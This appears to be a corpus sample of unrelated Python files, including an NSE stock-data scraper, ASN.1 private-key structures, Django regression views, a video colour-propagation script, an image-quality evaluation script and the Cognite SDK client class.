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import matplotlib.pyplot as plt import matplotlib.patches as mpatches import numpy as np import {{cookiecutter.project_name}}.parameters as P class Animation: ''' A matplotlib window containing an animation for the system. There are no parameters for initialization, as the Animation object can directly access the parameters in {{cookiecutter.project_name}}.parameters. ''' def __init__(self): pass def update(self, u): """ Updates the animation, given a system state. This function does not return any value. Parameters ---------- u : np.ndarray A vector of shape (n,1) containing the state vector of the system. """ pass
nilq/baby-python
python
# -*- coding: utf-8 -*- """ Created on Mon Sep 10 13:15:23 2018 @author: sshekhar """ from nseurls import * import six from nsecommons import * from nseconstants import * from datetime import date, timedelta from bs4 import BeautifulSoup import pandas as pd import six import inspect dd_mmm_yyyy = StrDate.default_format(format="%d-%b-%Y") dd_mm_yyyy = StrDate.default_format(format="%d-%m-%Y") EQUITY_SCHEMA = [str, str, dd_mmm_yyyy, float, float, float, float, float, float, float, int, float, int, int, float] EQUITY_HEADERS = ["Symbol", "Series", "Date", "Prev Close", "Open", "High", "Low","Last", "Close", "VWAP", "Volume", "Turnover", "Trades", "Deliverable Volume", "%Deliverble"] EQUITY_SCALING = {"Turnover": 100000, "%Deliverble": 0.01} FUTURES_SCHEMA = [str, dd_mmm_yyyy, dd_mmm_yyyy, float, float, float, float, float, float, int, float, int, int, float] FUTURES_HEADERS = ['Symbol', 'Date', 'Expiry', 'Open', 'High', 'Low', 'Close', 'Last', 'Settle Price', 'Number of Contracts', 'Turnover', 'Open Interest', 'Change in OI', 'Underlying'] FUTURES_SCALING = {"Turnover": 100000} OPTION_SCHEMA = [str, dd_mmm_yyyy, dd_mmm_yyyy, str, float, float, float, float, float, float, float, int, float, float, int, int, float] OPTION_HEADERS = ['Symbol', 'Date', 'Expiry', 'Option Type', 'Strike Price', 'Open', 'High', 'Low', 'Close', 'Last', 'Settle Price', 'Number of Contracts', 'Turnover', 'Premium Turnover', 'Open Interest', 'Change in OI', 'Underlying'] OPTION_SCALING = {"Turnover": 100000, "Premium Turnover": 100000} INDEX_SCHEMA = [dd_mmm_yyyy, float, float, float, float, int, float] INDEX_HEADERS = ['Date', 'Open', 'High', 'Low', 'Close', 'Volume', 'Turnover'] INDEX_SCALING = {'Turnover': 10000000} VIX_INDEX_SCHEMA = [dd_mmm_yyyy, float, float, float, float, float, float, float] VIX_INDEX_HEADERS = ['Date', 'Open', 'High', 'Low', 'Close', 'Previous', 'Change', '%Change'] VIX_SCALING = {'%Change': 0.01} INDEX_PE_SCHEMA = [dd_mmm_yyyy, float, float, float] INDEX_PE_HEADERS = ['Date', 'P/E', 'P/B', 'Div Yield'] RBI_REF_RATE_SCHEMA = [dd_mmm_yyyy, float, float, float, float] RBI_REF_RATE_HEADERS = ['Date', '1 USD', '1 GBP', '1 EURO', '100 YEN'] """ symbol = "SBIN" (stock name, index name and VIX) start = date(yyyy,mm,dd) end = date(yyyy,mm,dd) index = True, False (True even for VIX) --------------- futures = True, False option_type = "CE", "PE", "CA", "PA" strike_price = integer number expiry_date = date(yyyy,mm,dd) """ def get_history(symbol, start, end, index=False, futures=False, option_type="", expiry_date = None, strike_price="", series='EQ'): """This is the function to get the historical prices of any security (index, stocks, derviatives, VIX) etc. Args: symbol (str): Symbol for stock, index or any security start (datetime.date): start date end (datetime.date): end date index (boolean): False by default, True if its a index futures (boolean): False by default, True for index and stock futures expiry_date (datetime.date): Expiry date for derivatives, Compulsory for futures and options option_type (str): It takes "CE", "PE", "CA", "PA" for European and American calls and puts strike_price (int): Strike price, Compulsory for options series (str): Defaults to "EQ", but can be "BE" etc (refer NSE website for details) Returns: pandas.DataFrame : A pandas dataframe object Raises: ValueError: 1. strike_price argument missing or not of type int when options_type is provided 2. If there's an Invalid value in option_type, valid values-'CE' or 'PE' or 'CA' or 'CE' 3. If both futures='True' and option_type='CE' or 'PE' """ frame = inspect.currentframe() args, _, _, kwargs = inspect.getargvalues(frame) del(kwargs['frame']) start = kwargs['start'] end = kwargs['end'] if (end - start) > timedelta(130): kwargs1 = dict(kwargs) kwargs2 = dict(kwargs) kwargs1['end'] = start + timedelta(130) kwargs2['start'] = kwargs1['end'] + timedelta(1) t1 = ThreadReturns(target=get_history, kwargs=kwargs1) t2 = ThreadReturns(target=get_history, kwargs=kwargs2) t1.start() t2.start() t1.join() t2.join() return pd.concat((t1.result, t2.result)) else: return get_history_quanta(**kwargs) def get_history_quanta(**kwargs): url, params, schema, headers, scaling = validate_params(**kwargs) df = url_to_df(url=url, params=params, schema=schema, headers=headers, scaling=scaling) return df def url_to_df(url, params, schema, headers, scaling={}): resp = url(**params) bs = BeautifulSoup(resp.text, 'lxml') tp = ParseTables(soup=bs, schema=schema, headers=headers) # tp = ParseTables(soup=bs, # schema=schema, # headers=headers, index="Date") df = tp.get_df() for key, val in six.iteritems(scaling): df[key] = val * df[key] return df def validate_params(symbol, start, end, index=False, futures=False, option_type="", expiry_date = None, strike_price="", series='EQ'): """ symbol = "SBIN" (stock name, index name and VIX) start = date(yyyy,mm,dd) end = date(yyyy,mm,dd) index = True, False (True even for VIX) --------------- futures = True, False option_type = "CE", "PE", "CA", "PA" strike_price = integer number expiry_date = date(yyyy,mm,dd) """ params = {} if start > end: raise ValueError('Please check start and end dates') if (futures and not option_type) or (not futures and option_type): #EXOR params['symbol'] = symbol params['dateRange'] = '' params['optionType'] = 'select' params['strikePrice'] = '' params['fromDate'] = start.strftime('%d-%b-%Y') params['toDate'] = end.strftime('%d-%b-%Y') url = derivative_history_url try: params['expiryDate'] = expiry_date.strftime("%d-%m-%Y") except AttributeError as e: raise ValueError('Derivative contracts must have expiry_date as datetime.date') option_type = option_type.upper() if option_type in ("CE", "PE", "CA", "PA"): if not isinstance(strike_price,int) and not isinstance(strike_price, float): raise ValueError("strike_price argument missing or not of type int or float") #option specific if index: params['instrumentType'] = 'OPTIDX' else: params['instrumentType'] = 'OPTSTK' params['strikePrice'] = strike_price params['optionType'] = option_type schema = OPTION_SCHEMA headers = OPTION_HEADERS scaling = OPTION_SCALING elif option_type: #this means that there's an invalid value in option_type raise ValueError("Invalid value in option_type, valid values-'CE' or 'PE' or 'CA' or 'CE'") else: # its a futures request if index: if symbol=='INDIAVIX': params['instrumentType'] = 'FUTIVX' else: params['instrumentType'] = 'FUTIDX' else: params['instrumentType'] = 'FUTSTK' schema = FUTURES_SCHEMA headers = FUTURES_HEADERS scaling = FUTURES_SCALING elif futures and option_type: raise ValueError("select either futures='True' or option_type='CE' or 'PE' not both") else: # its a normal request if index: if symbol=='INDIAVIX': params['fromDate'] = start.strftime('%d-%b-%Y') params['toDate'] = end.strftime('%d-%b-%Y') url = index_vix_history_url schema = VIX_INDEX_SCHEMA headers = VIX_INDEX_HEADERS scaling = VIX_SCALING else: if symbol in DERIVATIVE_TO_INDEX: params['indexType'] = DERIVATIVE_TO_INDEX[symbol] else: params['indexType'] = symbol params['fromDate'] = start.strftime('%d-%m-%Y') params['toDate'] = end.strftime('%d-%m-%Y') url = index_history_url schema = INDEX_SCHEMA headers = INDEX_HEADERS scaling = INDEX_SCALING else: params['symbol'] = symbol params['series'] = series params['symbolCount'] = get_symbol_count(symbol) params['fromDate'] = start.strftime('%d-%m-%Y') params['toDate'] = end.strftime('%d-%m-%Y') url = equity_history_url schema = EQUITY_SCHEMA headers = EQUITY_HEADERS scaling = EQUITY_SCALING return url, params, schema, headers, scaling def get_index_pe_history(symbol, start, end): frame = inspect.currentframe() args, _, _, kwargs = inspect.getargvalues(frame) del(kwargs['frame']) start = kwargs['start'] end = kwargs['end'] if (end - start) > timedelta(130): kwargs1 = dict(kwargs) kwargs2 = dict(kwargs) kwargs1['end'] = start + timedelta(130) kwargs2['start'] = kwargs1['end'] + timedelta(1) t1 = ThreadReturns(target=get_index_pe_history, kwargs=kwargs1) t2 = ThreadReturns(target=get_index_pe_history, kwargs=kwargs2) t1.start() t2.start() t1.join() t2.join() return pd.concat((t1.result, t2.result)) else: return get_index_pe_history_quanta(**kwargs) def get_index_pe_history_quanta(symbol, start, end): """This function will fetch the P/E, P/B and dividend yield for a given index Args: symbol (str): Symbol for stock, index or any security start (datetime.date): start date end (datetime.date): end date Returns: pandas.DataFrame : A pandas dataframe object """ if symbol in DERIVATIVE_TO_INDEX: index_name = DERIVATIVE_TO_INDEX[symbol] else: index_name = symbol resp = index_pe_history_url(indexName=index_name, fromDate=start.strftime('%d-%m-%Y'), toDate=end.strftime('%d-%m-%Y')) bs = BeautifulSoup(resp.text, 'lxml') tp = ParseTables(soup=bs, schema=INDEX_PE_SCHEMA, headers=INDEX_PE_HEADERS, index="Date") df = tp.get_df() return df def get_price_list(dt, segment='EQ'): MMM = dt.strftime("%b").upper() yyyy = dt.strftime("%Y") """ 1. YYYY 2. MMM 3. ddMMMyyyy """ res = price_list_url(yyyy, MMM, dt.strftime("%d%b%Y").upper() ) txt = unzip_str(res.content) fp = six.StringIO(txt) df = pd.read_csv(fp) del df['Unnamed: 13'] return df def get_rbi_ref_history(start, end): frame = inspect.currentframe() args, _, _, kwargs = inspect.getargvalues(frame) del(kwargs['frame']) start = kwargs['start'] end = kwargs['end'] if (end - start) > timedelta(130): kwargs1 = dict(kwargs) kwargs2 = dict(kwargs) kwargs1['end'] = start + timedelta(130) kwargs2['start'] = kwargs1['end'] + timedelta(1) t1 = ThreadReturns(target=get_rbi_ref_history, kwargs=kwargs1) t2 = ThreadReturns(target=get_rbi_ref_history, kwargs=kwargs2) t1.start() t2.start() t1.join() t2.join() return pd.concat((t1.result, t2.result)) else: return get_rbi_ref_history_quanta(**kwargs) def get_rbi_ref_history_quanta(start, end): """ Args: start (datetime.date): start date end (datetime.date): end date Returns: pandas.DataFrame : A pandas dataframe object """ resp = rbi_rate_history_url(fromDate=start.strftime('%d-%m-%Y'), toDate=end.strftime('%d-%m-%Y')) bs = BeautifulSoup(resp.text, 'lxml') tp = ParseTables(soup=bs, schema=RBI_REF_RATE_SCHEMA, headers=RBI_REF_RATE_HEADERS, index="Date") df = tp.get_df() return df
nilq/baby-python
python
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2011 Yesudeep Mangalapilly <yesudeep@gmail.com> # Copyright 2012 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ :module: mom.security.codec.asn1.rsadsa :synopsis: ASN.1/DER decoding and encoding for RSA and DSA private keys. ASN.1 Syntax:: RSAPrivateKey ::= SEQUENCE { version Version, modulus INTEGER, -- n publicExponent INTEGER, -- e privateExponent INTEGER, -- d prime1 INTEGER, -- p prime2 INTEGER, -- q exponent1 INTEGER, -- d mod (p-1) exponent2 INTEGER, -- d mod (q-1) coefficient INTEGER -- (inverse of q) mod p } Version ::= INTEGER """ # Read unencrypted PKCS#1/PKIX-compliant, PEM & DER encoded private keys. # Private keys can be generated with "openssl genrsa|gendsa" commands. from __future__ import absolute_import from pyasn1.type import constraint from pyasn1.type import namedtype from pyasn1.type import namedval from pyasn1.type import univ __author__ = "yesudeep@google.com (Yesudeep Mangalapilly)" MAX = 16 class DSAPrivateKey(univ.Sequence): """PKIX compliant DSA private key structure""" componentType = namedtype.NamedTypes( namedtype.NamedType("version", univ.Integer( namedValues=namedval.NamedValues(("v1", 0)))), namedtype.NamedType("p", univ.Integer()), namedtype.NamedType("q", univ.Integer()), namedtype.NamedType("g", univ.Integer()), namedtype.NamedType("public", univ.Integer()), namedtype.NamedType("private", univ.Integer()) ) class OtherPrimeInfo(univ.Sequence): """Other prime information.""" componentType = namedtype.NamedTypes( namedtype.NamedType("prime", univ.Integer()), namedtype.NamedType("exponent", univ.Integer()), namedtype.NamedType("coefficient", univ.Integer()) ) class OtherPrimeInfos(univ.SequenceOf): """Other prime information.""" componentType = OtherPrimeInfo() subtypeSpec = (univ.SequenceOf.subtypeSpec + constraint.ValueSizeConstraint(1, MAX)) class RSAPrivateKey(univ.Sequence): """PKCS#1 compliant RSA private key structure""" componentType = namedtype.NamedTypes( namedtype.NamedType("version", univ.Integer( namedValues=namedval.NamedValues(("two-prime", 0), ("multi", 1)))), namedtype.NamedType("modulus", univ.Integer()), namedtype.NamedType("publicExponent", univ.Integer()), namedtype.NamedType("privateExponent", univ.Integer()), namedtype.NamedType("prime1", univ.Integer()), namedtype.NamedType("prime2", univ.Integer()), namedtype.NamedType("exponent1", univ.Integer()), namedtype.NamedType("exponent2", univ.Integer()), namedtype.NamedType("coefficient", univ.Integer()), namedtype.OptionalNamedType("otherPrimeInfos", OtherPrimeInfos()) )
nilq/baby-python
python
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # from __future__ import print_function from proton.handlers import MessagingHandler from proton.reactor import Container import address import content class Sender(MessagingHandler): def __init__(self, url, messages): super(Sender, self).__init__() self.url = url self._messages = messages self._message_index = 0 self._sent_count = 0 self._confirmed_count = 0 def on_start(self, event): event.container.create_sender(self.url) def on_sendable(self, event): while event.sender.credit and self._sent_count < len(self._messages): message = self._messages[self._message_index] print(message) event.sender.send(message) self._message_index += 1 self._sent_count += 1 def on_accepted(self, event): self._confirmed_count += 1 if self._confirmed_count == len(self._messages): event.connection.close() def on_transport_error(self, event): raise Exception(event.transport.condition) if __name__ == "__main__": try: Container(Sender(address.url, content.messages)).run() except KeyboardInterrupt: pass
nilq/baby-python
python
# -*- coding: utf-8 -*- import numpy as np top = 4000000 fibo1 = 2 fibo2= 1 cumSum = 2 while fibo1 < top: temp = fibo1 fibo1 = fibo1+fibo2 fibo2 = temp if fibo1%2==0 and fibo1<top: print fibo1 cumSum=cumSum+fibo1 print cumSum
nilq/baby-python
python
from django.http import request from django.shortcuts import render from . import regresion import json def fit(f_type, xvalues, yvalues): if f_type == 'cuadratic': print(f_type) return # Create your views here. def RegresionCuadratica(request): if request.method == 'POST': xvalues = request.POST.get("xvalues") yvalues = request.POST.get("yvalues") if xvalues=="" or yvalues=="": return render(request, 'ajusteCurvas/regresionCuadratica/regresionCuadratica.html', {}) xvalues = list(map(float, xvalues.split())) yvalues = list(map(float, yvalues.split())) yvalues = [x for y, x in sorted(zip(xvalues, yvalues))] xvalues.sort() xvalues_json = json.dumps(xvalues) yvalues_json = json.dumps(yvalues) chartX, chartY, a, b, c = regresion.regresionCuadratica(xvalues, yvalues) ctx={'resultado':'si', 'xvalues':xvalues_json, 'yvalues':yvalues_json, 'xchart': chartX, 'ychart':chartY, 'a':a, 'b':b, 'c':c} else: ctx = {} return render(request, 'ajusteCurvas/regresionCuadratica/regresionCuadratica.html', ctx) def RegresionLineal(request): if request.method == 'POST': xvalues = request.POST.get("xvalues") yvalues = request.POST.get("yvalues") if xvalues=="" or yvalues=="": return render(request, 'ajusteCurvas/regresionLineal/regresionLineal.htm', {}) xvalues = list(map(float, xvalues.split())) yvalues = list(map(float, yvalues.split())) yvalues = [x for y, x in sorted(zip(xvalues, yvalues))] xvalues.sort() xvalues_json = json.dumps(xvalues) yvalues_json = json.dumps(yvalues) # chart x y y son coordenadas paa la recta solo necesito dos coeficientes y usar una funcion de regresion lineal chartX, chartY, b, c = regresion.regresionLineal(xvalues, yvalues) ctx={'resultado':15, 'xvalues':xvalues_json, 'yvalues':yvalues_json, 'xchart': chartX, 'ychart':chartY,'b':b, 'c':c} else: ctx = {} return render(request, 'ajusteCurvas/regresionLineal/regresionLineal.html', ctx) def homeAC(request): return render(request, 'ajusteCurvas/curva.html', {})
nilq/baby-python
python
import gym from baselines import ampi from baselines import bench from baselines.ampi import mlp_policy from baselines import logger def callback(lcl, _glb): # stop training if reward exceeds 199 is_solved = lcl['t'] > 100 and sum(lcl['episode_rewards'][-101:-1]) / 100 >= 199 return is_solved LOG_DIR="/home/gpu_user/assia/ws/tf/BPO/baselines/ampi/log/" XP_NAME = "cost" DO_COST = 1 def main(): # policy model #def policy_fn(name, ob_space, ac_space): # return mlp_policy.MlpPolicy(name=name, ob_space=ob_space, ac_space=ac_space, # hid_size=64, num_hid_layers=2) env = gym.make("CartPole-v0") logger.configure(LOG_DIR + XP_NAME) env = bench.Monitor(env, logger.get_dir()) # q model model = ampi.models.mlp([64]) policy_fn = ampi.mlp_policy.mlpPolicy([64]) if DO_COST==1: act = ampi.learn_cost( env, q_func=model, policy_fn=policy_fn, lr=1e-3, max_timesteps=100000, buffer_size=50000, exploration_fraction=0.1, exploration_final_eps=0.02, print_freq=10, callback=callback ) else: act = ampi.learn( env, q_func=model, policy_fn=policy_fn, lr=1e-3, max_timesteps=100000, buffer_size=50000, exploration_fraction=0.1, exploration_final_eps=0.02, print_freq=10, callback=callback ) print("Saving model to cartpole_model.pkl") #act.save(LOG_DIR + "/cartpole_model.pkl") if __name__ == '__main__': main()
nilq/baby-python
python
"""Test suite for pytorch_ranking."""
nilq/baby-python
python
#!/usr/bin/env python ''' File name: do_color_propagation.py Author: Varun Jampani ''' # --------------------------------------------------------------------------- # Video Propagation Networks #---------------------------------------------------------------------------- # Copyright 2017 Max Planck Society # Distributed under the BSD-3 Software license [see LICENSE.txt for details] # --------------------------------------------------------------------------- import numpy as np import scipy.io as sio import os from scipy import misc import random import copy import gc gc.enable() from utils import * from init_caffe import * from davis_data import * from fetch_and_transform_data import fetch_and_transform_data from create_online_net import * import matplotlib.pyplot as plt max_input_points = MAX_INPUT_POINTS total_frames = NUM_PREV_FRAMES + 1 def color_propagation(stage_id): stage_id = int(stage_id) out_folder = RESULT_FOLDER + '/STAGE' + str(stage_id) + '_RESULT/' if not os.path.exists(out_folder): os.makedirs(out_folder) feature_scales = [0.2, 0.04, 0.04, 0.04] # Iterate over all sequences with open(MAIN_VAL_SEQ,'r') as f: for seq in f: print(seq) seq = seq[:-1] [inputs, num_frames] = fetch_and_transform_data(seq) if stage_id > 0: prev_color_file = RESULT_FOLDER + '/STAGE' + str(stage_id-1) + '_RESULT/' + seq + '/all_frame_color_result.npy' prev_color_result = np.load(prev_color_file) result_folder = out_folder + '/' + seq + '/' if not os.path.exists(result_folder): os.makedirs(result_folder) color_result = (np.transpose(np.squeeze(inputs['input_color']), (1, 2, 0)) + 0.5) * 255.0 gray_result = np.squeeze(inputs['out_features'][:, 0, :, 0:854])[:,:,None] full_result = np.append(gray_result, color_result, axis = 2) rgb_result = convert_to_rgb(full_result) misc.imsave(result_folder + '/' + str(0).zfill(5) + '.png', rgb_result) all_frames_color_result = inputs['input_color'] prev_frame_result = None net_inputs = {} net_inputs['input_color'] = inputs['input_color'] net_inputs['scales'] = np.ones((1, 4, 1, 1)) for k in range(0, 4): net_inputs['scales'][0, k, 0, 0] = feature_scales[k] f_value = total_frames - 1 ignore_feat_value = -1000 if stage_id == 0: standard_net = load_bnn_deploy_net(max_input_points) else: caffe_model = MODEL_FOLDER + 'COLOR_STAGE1.caffemodel' standard_net = load_bnn_cnn_deploy_net(max_input_points) standard_net.copy_from(caffe_model) for t in range(1, MAX_FRAMES): print(t) if t < f_value: net_inputs['input_color'] = copy.copy(inputs['input_color']) net_inputs['in_features'] = copy.copy(inputs['out_features'][:, :, :, 0: 854*t]) net_inputs['out_features'] = copy.copy(inputs['out_features'][:, :, :, 854 * t : 854 * (t+1)]) else: net_inputs['input_color'] = copy.copy(inputs['input_color'][:, :, :, 854*(t-f_value): 854*t]) net_inputs['in_features'] = copy.copy(inputs['out_features'][:, :, :, 854*(t-f_value): 854*t]) net_inputs['out_features'] = copy.copy(inputs['out_features'][:, :, :, 854 * t : 854 * (t+1)]) height = net_inputs['in_features'].shape[2] width = net_inputs['in_features'].shape[3] num_input_points = height * width # Random sampling input points if num_input_points > max_input_points: sampled_indices = random.sample(xrange(num_input_points), max_input_points) else: sampled_indices = random.sample(xrange(num_input_points), num_input_points) h_indices = (np.array(sampled_indices) / width).tolist() w_indices = (np.array(sampled_indices) % width).tolist() net_inputs['input_color'] = net_inputs['input_color'][:, :, h_indices, w_indices] net_inputs['input_color'] = net_inputs['input_color'][:, :, np.newaxis, :] net_inputs['in_features'] = net_inputs['in_features'][:, :, h_indices, w_indices] net_inputs['in_features'] = net_inputs['in_features'][:, :, np.newaxis, :] if num_input_points > max_input_points: prev_frame_result = standard_net.forward_all(**net_inputs)['out_color_result'] if num_input_points < max_input_points: if stage_id == 0: net = load_bnn_deploy_net(num_input_points) else: caffe_model = MODEL_FOLDER + 'COLOR_STAGE1.caffemodel' net = load_bnn_cnn_deploy_net(num_input_points) net.copy_from(caffe_model) prev_frame_result = net.forward_all(**net_inputs)['out_color_result'] # import pdb; pdb.set_trace() result = np.squeeze(prev_frame_result) color_result = (np.transpose(result, (1, 2, 0)) + 0.5) * 255.0 gray_result = np.squeeze(inputs['out_features'][:, 0, :, 854 * t : 854 * (t+1)])[:,:,None] full_result = np.append(gray_result, color_result, axis = 2) rgb_result = convert_to_rgb(full_result) misc.imsave(result_folder + '/' + str(t).zfill(5) + '.png', rgb_result) all_frames_color_result = np.append(all_frames_color_result, prev_frame_result, axis=3) if stage_id > 0: prev_frame_result = prev_color_result[:, :, :, 854 * t : 854 * (t+1)] inputs['input_color'] = np.append(inputs['input_color'], prev_frame_result, axis=3) gc.collect() # Save the all frames color result out_file = result_folder + '/all_frame_color_result.npy' np.save(out_file, all_frames_color_result) return result if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: ' + sys.argv[0] + ' <stage_id>') else: color_propagation(int(sys.argv[1]))
nilq/baby-python
python
import argparse import PIL.Image as pil_image import numpy as np from utils import AverageMeter, calc_psnr, calc_ssim, convert_rgb_to_y, denormalize,calc_psnr_for_eachimg,calc_ssim_for_eachimg if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--lr_image_file', type=str, required=False, default="./savedimg/Set5/4/EDSR_blanced_attention_2.png") #"D:/WFY/20200628SR/RDN-pytorch-master/对比图/对比图/img_001_SRF_4_SR CARN.png" # "D:/WFY/20200628SR/RDN-pytorch-master/对比图/对比图/img_002_SRF_4_SR (2)CARN.png" # "./savedimg/Set5/4/PAN_Blanced_attention_2.png" # "./savedimg/urban100/4/PAN_Blanced_attention_66.png" # "./savedimg/BSDS100/4/AWSRN_blanced_attention_87.png" # "D:/WFY/20200628SR/RDN-pytorch-master/PAN/B100/69015.png" parser.add_argument('--hr_image_file', type=str, required=False, default="../classical_SR_datasets/Set5/Set5/butterfly.png") #"D:/WFY/20200628SR/classical_SR_datasets/Set5/Set5/butterfly.png" # "D:/WFY/20200628SR/classical_SR_datasets/Set14/Set14/barbara.png" parser.add_argument('--result_image_file', type=str, required=False, default="./result/") opt = parser.parse_args() image_lr = pil_image.open(opt.lr_image_file).convert('RGB') image_hr = pil_image.open(opt.hr_image_file).convert('RGB') if (image_lr.width != image_hr.width) or (image_lr.height != image_hr.height): image_lr = image_lr.resize((image_hr.width,image_hr.height),resample=pil_image.BICUBIC) # image_lr = convert_rgb_to_y(denormalize(image_lr.squeeze(0)), dim_order='chw') # image_hr = convert_rgb_to_y(denormalize(image_hr.squeeze(0)), dim_order='chw') # # psnr = calc_psnr(image_hr, image_lr) # ssim = calc_ssim(image_hr, image_lr) image_hr=np.array(image_hr) image_lr = np.array(image_lr) psnr = calc_psnr_for_eachimg(image_hr, image_lr) ssim = calc_ssim_for_eachimg(image_hr, image_lr) print('PSNR SSIM: {:.5f} {:.5f}'.format(psnr, ssim)) # output = pil_image.fromarray(denormalize(preds).permute(1, 2, 0).byte().cpu().numpy()) # output.save(opt.result_image_file + opt.choose_net + ('{}_x{}.png'.format(filename, opt.scale)))
nilq/baby-python
python
import warnings from typing import Any, Callable, Dict, List, Optional, Union from cognite.client import utils from cognite.client._api.assets import AssetsAPI from cognite.client._api.data_sets import DataSetsAPI from cognite.client._api.datapoints import DatapointsAPI from cognite.client._api.entity_matching import EntityMatchingAPI from cognite.client._api.events import EventsAPI from cognite.client._api.files import FilesAPI from cognite.client._api.iam import IAMAPI from cognite.client._api.labels import LabelsAPI from cognite.client._api.login import LoginAPI from cognite.client._api.raw import RawAPI from cognite.client._api.relationships import RelationshipsAPI from cognite.client._api.sequences import SequencesAPI from cognite.client._api.templates import TemplatesAPI from cognite.client._api.three_d import ThreeDAPI from cognite.client._api.time_series import TimeSeriesAPI from cognite.client._api_client import APIClient from cognite.client.exceptions import CogniteAPIKeyError from cognite.client.utils._client_config import ClientConfig class CogniteClient: """Main entrypoint into Cognite Python SDK. All services are made available through this object. See examples below. Args: api_key (str): API key project (str): Project. Defaults to project of given API key. client_name (str): A user-defined name for the client. Used to identify number of unique applications/scripts running on top of CDF. base_url (str): Base url to send requests to. Defaults to "https://api.cognitedata.com" max_workers (int): Max number of workers to spawn when parallelizing data fetching. Defaults to 10. headers (Dict): Additional headers to add to all requests. timeout (int): Timeout on requests sent to the api. Defaults to 30 seconds. file_transfer_timeout (int): Timeout on file upload/download requests. Defaults to 600 seconds. proxies (Dict[str, str]): Dictionary mapping from protocol to url. e.g. {"https": "http://10.10.1.10:1080"} token (Union[str, Callable[[], str]]): A jwt or method which takes no arguments and returns a jwt to use for authentication. This will override any api-key set. token_url (str): Optional url to use for token generation. This will override the COGNITE_TOKEN_URL environment variable and only be used if both api-key and token are not set. token_client_id (str): Optional client id to use for token generation. This will override the COGNITE_CLIENT_ID environment variable and only be used if both api-key and token are not set. token_client_secret (str): Optional client secret to use for token generation. This will override the COGNITE_CLIENT_SECRET environment variable and only be used if both api-key and token are not set. token_scopes (list): Optional list of scopes to use for token generation. This will override the COGNITE_TOKEN_SCOPES environment variable and only be used if both api-key and token are not set. token_custom_args (Dict): Optional additional arguments to use for token generation. This will be passed in as optional additional kwargs to OAuth2Session fetch_token and will only be used if both api-key and token are not set. disable_pypi_version_check (bool): Don't check for newer versions of the SDK on client creation debug (bool): Configures logger to log extra request details to stderr. """ _API_VERSION = "v1" def __init__( self, api_key: Optional[str] = None, api_subversion: Optional[str] = None, project: Optional[str] = None, client_name: Optional[str] = None, base_url: Optional[str] = None, max_workers: Optional[int] = None, headers: Optional[Dict[str, str]] = None, timeout: Optional[int] = None, file_transfer_timeout: Optional[int] = None, proxies: Optional[Dict[str, str]] = None, token: Optional[Union[str, Callable[[], str], None]] = None, token_url: Optional[str] = None, token_client_id: Optional[str] = None, token_client_secret: Optional[str] = None, token_scopes: Optional[List[str]] = None, token_custom_args: Optional[Dict[str, str]] = None, disable_pypi_version_check: Optional[bool] = None, debug: bool = False, ): self._config = ClientConfig( api_key=api_key, api_subversion=api_subversion, project=project, client_name=client_name, base_url=base_url, max_workers=max_workers, headers=headers, timeout=timeout, file_transfer_timeout=file_transfer_timeout, proxies=proxies, token=token, token_url=token_url, token_client_id=token_client_id, token_client_secret=token_client_secret, token_scopes=token_scopes, token_custom_args=token_custom_args, disable_pypi_version_check=disable_pypi_version_check, debug=debug, ) self.login = LoginAPI(self._config, cognite_client=self) if self._config.project is None: self._config.project = self._infer_project() self.assets = AssetsAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.datapoints = DatapointsAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.events = EventsAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.files = FilesAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.iam = IAMAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.data_sets = DataSetsAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.sequences = SequencesAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.time_series = TimeSeriesAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.raw = RawAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.three_d = ThreeDAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.labels = LabelsAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.relationships = RelationshipsAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.entity_matching = EntityMatchingAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self.templates = TemplatesAPI(self._config, api_version=self._API_VERSION, cognite_client=self) self._api_client = APIClient(self._config, cognite_client=self) def get(self, url: str, params: Dict[str, Any] = None, headers: Dict[str, Any] = None): """Perform a GET request to an arbitrary path in the API.""" return self._api_client._get(url, params=params, headers=headers) def post(self, url: str, json: Dict[str, Any], params: Dict[str, Any] = None, headers: Dict[str, Any] = None): """Perform a POST request to an arbitrary path in the API.""" return self._api_client._post(url, json=json, params=params, headers=headers) def put(self, url: str, json: Dict[str, Any] = None, headers: Dict[str, Any] = None): """Perform a PUT request to an arbitrary path in the API.""" return self._api_client._put(url, json=json, headers=headers) def delete(self, url: str, params: Dict[str, Any] = None, headers: Dict[str, Any] = None): """Perform a DELETE request to an arbitrary path in the API.""" return self._api_client._delete(url, params=params, headers=headers) @property def version(self) -> str: """Returns the current SDK version. Returns: str: The current SDK version """ return utils._auxiliary.get_current_sdk_version() @property def config(self) -> ClientConfig: """Returns a config object containing the configuration for the current client. Returns: ClientConfig: The configuration object. """ return self._config def _infer_project(self): login_status = self.login.status() if login_status.logged_in: warnings.warn( "Authenticated towards inferred project '{}'. Pass project to the CogniteClient constructor or set" " the environment variable 'COGNITE_PROJECT' to suppress this warning.".format(login_status.project), stacklevel=3, ) return login_status.project else: raise CogniteAPIKeyError("Invalid API key")
